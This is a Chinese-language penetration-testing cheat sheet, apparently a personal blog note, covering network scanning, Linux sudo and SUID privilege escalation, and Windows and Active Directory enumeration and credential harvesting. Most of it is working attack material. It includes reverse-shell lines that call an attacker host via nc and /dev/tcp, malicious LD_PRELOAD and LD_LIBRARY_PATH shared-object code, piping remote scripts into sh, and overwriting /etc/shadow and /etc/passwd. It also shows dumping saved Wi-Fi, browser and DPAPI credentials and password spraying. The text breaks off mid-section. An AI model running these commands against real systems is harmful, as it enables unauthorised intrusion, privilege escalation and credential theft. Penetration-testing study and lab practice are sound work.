渗透笔记

本文最后更新于:2025年4月22日 早上

外网打点

网络扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cme smb <ip_range>  # 使用 CrackMapExec (cme) 扫描 SMB 存活主机
nmap -sP <ip> # 使用 Nmap 进行 Ping 扫描(检测主机是否存活)
nmap -PN -sV --top-ports 50 --open <ip> # 快速扫描:检测前 50 个常用端口,识别服务版本,仅显示开放端口
nmap -PN --script smb-vuln* -p139,445 <ip> # 检测 SMB 漏洞(针对端口 139 和 445)
nmap -PN -sC -sV <ip> # 经典扫描:使用默认脚本(-sC)和服务版本检测(-sV)
nmap -PN -sC -sV -p- <ip> # 全端口扫描:扫描所有端口(1-65535),使用默认脚本和服务版本检测
nmap -sU -sC -sV <ip> # UDP 扫描:扫描 UDP 端口,使用默认脚本和服务版本检测
nmap -sT -p- <ip> # TCP 全连接扫描:扫描所有 TCP 端口(1-65535)
nmap -sS -Pn -v -p- -T4 -A -oN portscan.nmap 10.10.229.201 # 快速扫描

nmap -sT -sV -sC -p 21,22,53,1337 10.200.78.101 # 针对存活端口探测详细信息

# 两次扫描,先扫出开放端口,再对开放端口探测
target=10.10.236.185; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep 'tcp.*open' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -n -sVC $target

# 先用rustscan快速探测,再用nmap查探开放端口详细信息
rustscan -a 10.10.153.136
nmap -sT -sV -sC -p 1883 10.10.153.136

漏洞快速探测利用

1
2
3
4
5
exploit/multi/misc/java_rmi_server	 #java rmi
exploit/windows/smb/ms17_010_eternalblue #ms17-010
tomcat:auxiliary/scanner/http/tomcat_enum #tomcat
exploit/multi/http/tomcat_mgr_deploy #jboss manager
ysoserial #Java反序列化漏洞测试工具

linux

docker判断

  1. df命令的结果中包含/sys/fs/cgroup文件夹
  2. root@<random_number> 身份登录,这可能是容器ID
  3. 在根目录ls -lsa可发现.dockerenv文件

信息收集

1
2
3
4
5
6
7
8
9
# 可能安装额外文件的目录
/usr/local
/opt

/etc/crontab # 计划任务

# 可用命令
/bin/
/usr/bin/

GTFOBins linux的suid和sudo提权查询

获取密码

mimipenguin

LaZagne

自动化

linpeas

peass-ng/PEASS-ng: PEASS

1
2
3
4
5
6
7
#需要上传linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

#或者直接
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
curl -L http://10.2.26.216:8000/linpeas.sh | sh

LinEnum

1
2
./LinEnum.sh
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

pspy64

在没有 root 权限的情况下监控 Linux 进程
一般用于提权

1
2
3
4
5
python3 -m http.server 8000
wget -P /tmp http://10.2.26.216:8000/pspy64
cd /tmp
chmod +x pspy64
./pspy64

suid

1
2
3
find / -perm -4000 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null # 查找设置了SUID位的文件
find / -perm -u=s -type f 2>/dev/null # 等效,没加ls所以是列出简要信息

sudo

1
2
3
4
sudo -l    #列出可以使用的sudo命令

sudo find /home -exec /bin/bash \; #find
sudo mysql -e '\! /bin/sh' #mysql 注意单引号

env_keep+=LD_PRELOAD

LD_PRELOAD 是一个环境变量,允许用户在程序运行前告诉进程将共享对象加载到进程内存中。共享对象——以 .so 扩展名标识的文件——类似于 Windows .dll 文件,因为它包含可能对运行进程功能必要的代码。

我们可以在运行sudo 时指向一个自定义的 .so 文件,使 .so 文件作为 root 运行。通过指向一个自定义的 .so 文件路径,我们可以使进程任意加载恶意代码并在主程序运行之前执行它。

1
2
3
4
#  使用 msfvenom创建 pwn.so, 为 saad 在所有命令上提供无密码的 sudo
msfvenom -p linux/x64/exec CMD="echo 'saad ALL=(ALL:ALL) NOPASSWD: ALL' > /etc/sudoers.d/saad" AppendExit='true' -f elf-so -o pwn.so

sudo LD_PRELOAD=/tmp.pwn.so /usr/bin/ping # /usr/bin/ping为可以用sudo运行的命令

env_keep+=LD_LIBRARY_PATH

场景:

1
2
3
4
5
6
7
rick@Hijack:/tmp$ sudo -l
[sudo] password for rick:
Matching Defaults entries for rick on Hijack:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

操作

1
2
3
4
5
6
ldd /usr/sbin/apache2	# 列出可执行文件所需的共享库

# 在 /tmp 中创建一个恶意 C 程序( malware.c ),以利用 libcrypt.so.1 库
cd /tmp
touch malware.c
nano malware.c

malware.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

继续

1
2
3
4
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /tmp/malware.c	# 编译生成共享库

# just do it
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

CVE-2019-14287

  • sudo<=1.8.28
  • 运行sudo -l后显示当前用户可以免密切换至其他任意非root用户
1
sudo -u#-1 /bin/bash

apt

1
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

apt-get

1
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

apache2

1
sudo apache2 -f /etc/shadow

可能泄露root账号密码hash,尝试破解

ash

1
2
sudo ash
bash

awk

1
sudo awk 'BEGIN {system("/bin/sh")}'

base32/58/64/nc/z

1
2
bossfrank=/etc/shadow
sudo base64 "$bossfrank" | base64 -d

编码读取/etc/shadow文件

cp

利用复制的高权限,我们可以自己写一个shadow文件,通过复制操作覆盖原有的shadow文件,从而修改了root账户的密码,用新的密码进行提权

1
2
3
4
5
6
7
8
9
#在kali中
mkpasswd -m sha-512 123456 #生成sha-512加密(/etc/shadow中密码的加密方式)的密文企图把root账户的密码修改为123456
cat /etc/shadow | grep root #可参考通常情况下shadow形式

#靶机中
bossfrank=/etc/shadow #声明环境变量指向/etc/shadow
TF=$(mktemp) #声明一个名为TF的变量,指向用mktemp生成的临时文件
echo 'root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::' > $TF #将生成的shadow记录(即root账户密码是123456)写入TF变量
sudo /usr/bin/cp $TF $bossfrank #使用sudo的cp复制指令,将shadow记录复制到/etc/shadow,实现覆盖操作

cpulimit

1
sudo cpulimit -l 100 -f /bin/bash

curl

1
2
3
4
5
#在kali中
php -S 0:80 #启动一个http服务,将自定义shadow记录放进去

#在靶机中
sudo curl http://kali的ip/shadow_entry -o /etc/shadow #访问payload,把结果输出到/etc/shadow,覆盖靶机原/etc/shadow

date

1
sudo date -f /etc/shadow

dd

1
echo "root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::" | sudo dd of=/etc/shadow    #覆盖靶机/etc/shadow,root密码为123456

dstat

1
2
3
find / -name dstat -type f 2>/dev/null    #找到dstat的插件目录
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_exp.py #在目录中写入py提权脚本
sudo dstat --exp #"exp"与上条"dstat_exp.py"对应

ed

1
2
sudo ed       #进入文本编辑界面
!/bin/bash #进入后输入

env

1
sudo env /bin/sh

exiftools

7.44<=exiftool<=12.23

1
2
3
4
5
echo  "(metadata \"\c${system('/bin/bash')};\")" > payload  #构造payload,并在里面写入源数据
(metadata "\c${system('/bin/bash')};") #与上条功能相同,两者执行其一即可
bzz payload payload.bzz #使用bzz工具进行压缩
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz #用djvumake工具生成利用文件exploit.djvu
sudo exiftool exploit.djvu

expect

1
sudo expect -c 'spawn /bin/bash;interact'

fail2ban

1
2
3
4
5
6
7
8
9
find -name "fail2ban*" -type d 2>/dev/null   #查找fail2ban的目录
find /etc/fail2ban -writable -type d 2>/dev/null #列出可写目录
mv iptables-multport.conf iptables-multport.conf.bak #将原本的配置文件改名
cp iptables-multport.conf.bak iptables-multport.conf #复制文件,此时iptables-multport.conf已可编辑
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f #在iptables-multport.conf写入该行,用于反弹shell
sudo /etc/init.d/fail2ban restart #重启fail2ban服务,确保配置修改生效

#在kali中
nc -lvnp 1234 #监听

只需再次ssh尝试登录某个账户,并故意短时间内快速多次用错误密码尝试(具体需要多快可以查看文件/etc/fail2ban/jail.conf)

find

1
sudo find . -exec /bin/bash \; -quit

flock

1
sudo flock -u / /bin/bash

ftp

1
2
sudo ftp
!/bin/sh

gcc

1
sudo gcc -wrapper /bin/bash,-s .

gdb

1
sudo gdb -nx -ex '!bash' -ex quit

git

1
2
sudo git branch --help
!/bin/bash

gzip/gunzip

1
sudo gzip -f /etc/shadow -t

运行后会暴露/etc/shadow文件的内容

iftop

1
2
sudo iftop
!/bin/bash

hping3

1
2
sudo hping3
/bin/bash

java

1
2
3
4
5
6
7
#在kali中
msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar #用msfvenom生成java的反弹shell
php -S 0:80 #在相应目录开启http服务

#在靶机中
wget http://kali的ip/shell.jar #下载payload
java -jar shell.jar

jjs

1
2
3
4
5
#在kali中
nc -lvnp 1234

#靶机
echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs #反弹shell

journalctl

1
2
sudo journalctl
!/bin/bash

knife

1
sudo knife exec -E 'exec "/bin/bash"'

less

1
2
3
mktemp ./XXX   #建立一个临时文件
sudo less tE70f #"tE70f"为临时文件的名字,用sudo less读取此临时文件
!/bin/bash

也可以直接随便读取个文件,然后输入!/bin/bash

man

1
2
sudo man ls #用sudo man随便查看一个linux命令
!/bin/bash

more

1
2
3
4
mktemp ./xxx
yes bossfrank > 7aADd #设bossfrank是一个已有的文件
sudo more 7aADd
!/bin/bash

mount

1
2
sudo mount -o bind /bin/bash /bin/mount
sudo mount

mysql

1
sudo mysql -e '\! /bin/sh'

nano

1
2
sudo nano
reset;bash 1>&0 2>&0

neofetch

1
2
3
TF=$(mktemp)   #声明一个变量TF,指向一个新建的临时文件
echo 'exec /bin/bash' >$TF # 将提权逻辑写入临时文件中
sudo neofetch --config $TF

nice

1
sudo nice /bin/bash

nmap

1
2
3
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

node

1
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

nohup

1
sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

tmux

openvpn

1
sudo openvpn --config /etc/shadow

读取/etc/shadow的第一行

passwd

1
sudo passwd

perl

1
sudo perl -e 'exec "/bin/sh";'

php

1
sudo php -r "system('/bin/bash');"

pico

1
2
3
sudo pico
^R^X #ctrl + r 和ctrl + x
reset; bash 1>&0 2>&0

pkexec

1
sudo pkexec /bin/bash

python3

1
sudo python3 -c "import os;os.system('/bin/bash)"

rvim

1
sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

scp

1
2
3
4
TF=$(mktemp)   #声明一个变量TF,指向一个新建的临时文件
echo 'bash 0<&2 1>&2' > $TF #将提权逻辑写到临时变量中
chmod +x "$TF" #给变量(临时文件)添加执行权限
sudo scp -S $TF x y:

screen

1
sudo screen

script

1
sudo script -q /dev/null

sed

1
sudo sed -n '1e exec bash 1>&0' /etc/hosts

service

1
sudo service ../../bin/bash

socat

1
sudo socat stdin exec:/bin/bash

ssh

1
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

ssh-keygen

1
vim getRoot.c

写入

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

//指定静态无返回值的函数,设置属性constructor
static void inject()__attribute__((constructor));

void inject(){
//设定uid为0,即root
setuid(0);
system("/bin/bash -p");
}
1
2
gcc -shared -fPIC -o getRoot.so getRoot.c
sudo ssh-keygen -D ./getRoot.io

strace

1
sudo strace -o /dev/null /bin/bash

systemctl

1
2
sudo systemctl
!/bin/bash

tcpdump

1
vim getRoot.sh

写入

1
mknod getRoot_pipe p && /bin/nc 10.10.10.128 4444 0<getRoot_pipe | /bin/bash 1>getRoot_pipe 
1
2
3
4
5
6
#在kali中
nc -lvnp 4444

#靶机
chmod +x getRoot.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z getRoot.sh -Z root

tee

1
2
3
4
5
6
7
8
9
#在kali中
openssl passwd -1 -salt newUser '123456' #用openssl生成一个passwd格式的hash

newUser:$1$newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash #根据/etc/passwd的格式构造newUser出的信息
new:$1$new$OVfDVMTOiOgpbam1pWfpz0:0:0:root:/root:/bin/bash
#靶机
echo 'newUser:$1$newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
su newUser
123456

timedatectl

1
2
sudo timedatectl list-timezones
!/bin/bash

tmux

1
sudo tmux

vi

1
2
3
4
5
sudo vi
:!/bin/bash

#或者
sudo vi -c ':!/bin/bash' /dev/null

wall

1
sudo wall --nobanner /etc/shadow

读取/etc/shadow

watch

1
sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'

wget

1
2
3
4
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/bash\n/bin/bash 1>&0' >$TF
sudo wget --use-askpass=$TF 0

xxd

1
sudo xxd /etc/shadow | xxd -r

zip

1
sudo zip foo /etc/hosts -T -TT 'bash #'

windows

信息收集

本机信息

1
2
3
4
5
tree /f		# 以树状图的形式显示当前目录
tree /f C:\Users # 以树状图的形式显示目标目录

# 快速查看 Windows 版本和补丁情况
cmd.exe /c 'systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"'

系统程序

1
2
3
4
net config workstation							 # 显示当前工作站的配置,包括计算机的名称、工作站域、软件版本、工作站域的登录服务器名等
net config server # 显示服务器服务的配置,包括服务器角色、自动暂停服务时间、最大同时连接数、每个会话的最大请求等
systeminfo # 查询全部内容
wmic qfe get Caption,Description,HotFixID,InstalledOn # 查询已安装的补丁列表

AV

1
2
Get-Service WinDefend	# 检测 Windows Defender 状态
Get-MpComputerStatus | select RealTimeProtectionEnabled # 检测 Windows Defender 是否启用

进程服务

1
2
3
4
5
6
7
8
tasklist /svc                              # 显示进程列表

wmic product get name,version # 获取所有已安装软件的名称和版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
# 使用 powershell 查询所有安装过的软件及版本,效果和 wmic 相同
wmic service list brief # 显示系统上所有服务的简略信息
wmic startup get command,caption # 查看启动项
schtasks /query /fo LIST /v # 查看任务计划

防火墙

1
2
3
4
5
6
7
8
netsh firewall show config                      # 查看防火墙信息,但 firewall 命令已弃用,可使用 advfirewall 命令代替
netsh advfirewall firewall show rule name=all # 查看配置规则
netsh advfirewall set allprofiles state off\on # 关闭防火墙\开启防火墙
netsh advfirewall export\import xx.pol # 导出\导入配置文件
netsh advfirewall firewall add rule name=”deny tcp 139dir=in protocol=tcp localport=139 action=block # 新建规则阻止所有入站方向的 TCP 端口 139 的连接
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 新建规则允许3389通过防火墙
netsh advfirewall firewall delete rule name=Remote Desktop # 删除名为Remote Desktop的规则
netsh interface # 连接安全规则配置,很少配置。

用户信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
whoami                                   # 当前用户
quser # 查询登录用户,同 query user
qwinsta # 查询登录用户,同 query session
query user # 查询登录用户
query session # 查询会话
query termserver # 查询远程桌面主机列表。
net accounts # 查询域密码策略
net user # 查询本地用户列表
net user "$username" # 查询指定用户
net localgroup # 查询本地用户组列表
net localgroup "$groupname" # 查询指定用户组成员s
net localgroup administrators # 本机管理员[通常含有域用户]
net group # 仅域控可执行,查询用户组列表
net group "$groupname" # 仅域控可执行,查询用户组成员

操作记录

1
2
3
4
5
6
7
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt	#查看powershell历史记录,使用cmd
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt #查看powershell历史记录
Get-History | Format-List -Property * # 查询 powershell 当前窗口历史操作记录
Clear-History # 删除 powershell 当前窗口历史操作记录
Clear-History -Id 3 # 删除 powershell 当前窗口指定 ID 的历史操作记录
doskey /h # 查看 cmd 的历史操作记录
doskey /reinstall # 删除 cmd 的历史操作记录

网络发现

基本信息

1
2
3
4
5
6
7
8
9
10
11
ipconfig /all                     # 列出当前主机详细网络信息
ipconfig /displaydns # 列出dns缓存信息
route print # 查询路由表
arp -a # 地址解析协议缓存表
netstat -ano # 端口使用情况
net share # 查看共享信息
wmic share get name,path,status # 查看共享信息
net view # 查看域列表
smbclient -L ip #列出smb服务器上所有可用的共享资源
# 查看 host 文件
type c:\Windows\system32\drivers\etc\hosts

SPN

SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。

1
setspn -T domain.com -Q */*      #利用Windows自带的setspn工具,普通域用户权限执行即可
1
cscript GetUserSPNs.vbs
1
Rubeus.exe kerberoast

一些相关的powershell脚本PowerShell-AD-Recon

协议探测

icmp
1
2
for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="   #快速扫描10.0.0.1 到 10.0.0.255
@for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.40.%i && if errorlevel 0 (echo 192.168.40.%i >> ip.txt) #输出到文件
Netbios
  • msf扫描
1
msf > use auxiliary/scanner/netbios/nbname
1
nbtscan -m 192.168.1.0/24
UDP

msf扫描

1
msf > use auxiliary/scanner/discovery/udp_probemsf > use auxiliary/scanner/discovery/udp_sweep
smb-version

python版:amitn 322/smb-version

c#版:草泥马之家-c#版本的smb_version

SNMP

1
msf > use auxiliary/scanner/snmp/snmp_enum

系统日志

可以使用 wevtutil.exe psloglist.exe 或者 powershell 的Get-WinEvent模块进行日志导出,server 03 的域控可使用 eventquery.vbs 导出。

wevtutil 不需要 UAC, 支持很多过滤语法,若有需要请查看官方说明

1
2
3
4
5
6
# 查询登录日志语法
wevtutil qe security /f:text /q:*[System[(EventID=4624)]]
# 查询所有登录、注销相关的日志语法
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]"
# 远程查询时在后面加入/r:computer /u:user /p:password 比如查询dc1上的登录注销日志
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password

本地使用 LogParser 日志分析工具整理导出的日志,然后去除重复数据、无效数据(以 ‘$’ 结束的用户名)

1
LogParser.exe -i:EVT -o txt "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\ProgramData\log.evtx" > C:\ProgramData\log.txt

导出域控登录日志到域控上:

1
wevtutil epl Security C:\ProgramData\dc.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]" /r:域控IP /u:域管 /p:域管密码

浏览器日志

1
2
3
4
5
6
7
8
9
10
11
#chrome
C:\Users$username\AppData\Local\Google\Chrome\User Data\Default\History

#IE
reg query "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs" C:\Users$user\AppData\Local\Microsoft\Windows\History

#edge, v79+
C:\Users$user\AppData\Local\Microsoft\Edge\User Data\Default\History

#edge, v44+:
C:\Users$user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat

浏览器的历史记录文件 history,是使用 sqlite 格式记录的,直接打开是一个二进制文件,可以下载到本地破解,或者直接替换查看。

此外,edge v44+ 版本的历史记录文件在用户登录状态下是锁定的。

DNS 服务器记录

一般在域环境中都会有一台 DNS 服务器,小企业或内网环境较小的可能会和域控为同一台,大一些的企业,多为独立的 DNS 服务器。

由于 DNS 服务器的特性,在 DNS 服务器上会存在大量内网地址解析记录,如果可以获取,会极大的方便内网拓扑展开,同时很多其他主机无法到达的地址,DNS 服务器是可以到达的。

1
2
3
dnscmd . /EnumZones   #列出DNS 服务器上的所有区域(zones)
dnscmd . /ZoneInfo test.com #列出 test.com 中的详细记录
dnscmd . /EnumRecords test.com #列出 test.com 中的记录

DNS 服务器还存在域传送漏洞。可以直接获得 DNS 记录。

nslookup -type=all_ldap._tcp.dc.greyfinger.com

nslookup -type=ns domain.com

cmd> nslookup server dns.domain.com ls domain.com

基本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
net config workstation                    # 显示当前工作站的配置,包括计算机的名称、工作站域、软件版本、工作站域的登录服务器名等
net time /domain # 同步时间,通常为域控服务器
net accounts /domain # 查询域密码策略
net user /domain # 列出当前域成员列表
net user username /domain # 列出域成员详细信息
net group /domain # 列出域内组列表
net group groupname /domain # 列出域内组成员列表
net localgroup administrators /domain # 列出域控上的管理员
net group Domain" "Admins /domain # 列出域全局管理员
net view # 查询同一域内机器列表
net view /domain # 查询域列表
net view /domain:test # 查询 test 域中计算机列表
net group "Domain controllers" /domain # 查询域内的所有DC
nltest /dclist:域名 # 查询域内的所有DC及相关状态信息
nltest /dsgetdc:域名 # 拿到DC当前的认证信息
nltest /domain_trusts # 查询域信任信息
nltest /user:"username" # 得到用户信息

dsquery

dsquery 命令很少使用,而且限制较大仅能在域控上执行

1
2
3
4
5
6
7
8
9
dsquery computer                          # 查询目录中的计算机s
dsquery computer domainroot -limit 65535 # 列出该域内所有机器名
dsquery contact # 查询目录中的联系人
dsquery server # 列出域控
dsquery subnet # 查询目录中的子网
dsquery group # 查询目录中的组
dsquery site # 查询目录中的站点
dsquery user # 查询目录中的用户
dsquery ou # 列出域内组织单位

powershell

1
2
3
4
5
6
7
8
9
10
# 获取所有AD用户
Get-ADUser -Filter *
# 查询当前Domain信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# 查询域信任关系
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# 查询当前林信息
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# 查询林信任信息
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

SMB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 列出可匿名访问的smb共享
enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
crackmapexec smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享
crackmapexec smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享

# 获取域密码策略
crackmapexec <IP> -u 'user' -p 'password' --pass-pol #查询目标主机的密码策略
enum4linx -u 'username' -p 'password' -P <IP> #使用指定的凭据枚举目标主机的 SMB 服务信息

# 密码喷洒
crackmapexec smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # 一一对应
crackmapexec smb <dc-ip> -u user.txt -p password.txt # 交叉爆破

枚举LDAP

1
2
nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -h <ip> -s base

查找用户名

1
2
3
4
enum4linux -U <dc-ip> | grep 'user:'	# 列举 SMB 服务中的用户,需要可匿名访问smb
crackmapexec smb <ip> -u <user> -p '<password>' --users # 列出域中的用户
# Nmap 的 krb5-enum-users 脚本枚举 Kerberos 服务中的用户 (爆破用户名)
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>

ASREP-Roasting

获取ASREP-Roastable账号(即可用攻击目标)

1
2
3
Get-DomainUser -PreauthNotRequired -Properties SamAccountName

MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

获取hash

1
2
3
4
5
# 将所有成功获取的AS-REP哈希保存到 hashes.corp.local.txt 文件中
python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>

# 获取所有符合条件的用户AS-REP哈希,并打印到屏幕
Rubeus asreproast /format:hashcat

枚举 DNS 服务器

需要控制一个域用户

1
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

配置文件

1
2
3
%windir%\system32\inetsrv\config\applicationHost.config     #IIS 配置文件路径
%windir%\system32\inetsrv\appcmd list site /config #显示IIS 配置信息
%windir%\system32\inetsrv\appcmd list site /config /xml > c:\sites.xml #以XML格式输出

密码/凭据搜集

mimikatz

Invoke-WCMDump

mimiDbg

LaZagne

NirLauncher

quarkspwdump:

1
2
3
4
5
6
cmdkey /list    #列出远程连接凭据

#域用户登录脚本存在目录也会存在敏感文件:
\domain\Netlogon

runas /savecred /user:admin cmd.exe #以 admin 用户的身份启动一个新的cmd如果这个命令被运行过,则不需密码。
windows批量安装设置
1
2
3
4
5
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

可能会发现:

1
2
3
4
5
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
IIS
1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

how-does-navicat-encrypt-password

FatSmallTools

1
2
reg query "HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\"      #查询路径下各项
reg query "HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\项" /v pwd #查看密码
数据库 路径
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\
Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
Oracle HKEY_CURRENT_USERHKEYCURRENTUSER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\
SecureCRT
系统版本 路径
xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上 C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions
Xshell

Xdecrypt

版本 路径
Xshell 5 %userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
mRemoteNG

mremoteng-decrypt

WinSCP
1
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
VNC

HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4

版本 路径 类型
RealVNC HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Password
TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value Password or PasswordViewOnly
TigerVNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Password
UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2
DPAPI

DPAPI,由微软从Windows 2000开始发布,称为Data Protection Application Programming
Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数
CryptUnprotectData 。

其作用范围包括且不限于:

outlook客户端密码

windows credential凭据

chrome保存的密码凭据

internet explorer密码凭据

在渗透中,可以利用mimikatz做到自动化的数据解密

1
2
3
4
5
#解密Chrome密码:
mimikatz dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Login Data” /unprotect

#解密Credential:
mimikatz vault::cred /patch
WIFI

获取连接过的wifi密码

1
2
3
4
5
#cmd
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr /V "echo" | netsh wlan show profiles %j key=clear

#powershell
netsh wlan show profiles | Select-String "\:(.+)$" | ForEach-Object {$name = $_.Matches.Groups[1].Value.Trim();$_; netsh wlan show profile name="$name" key=clear }
GPP

当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。

xml文件位置:

1
\\域名\sysvol\域名\policies\{一串类似uuid的东西}\User\Preferences\Groups

xml文件内容示例:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8" ?> 
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
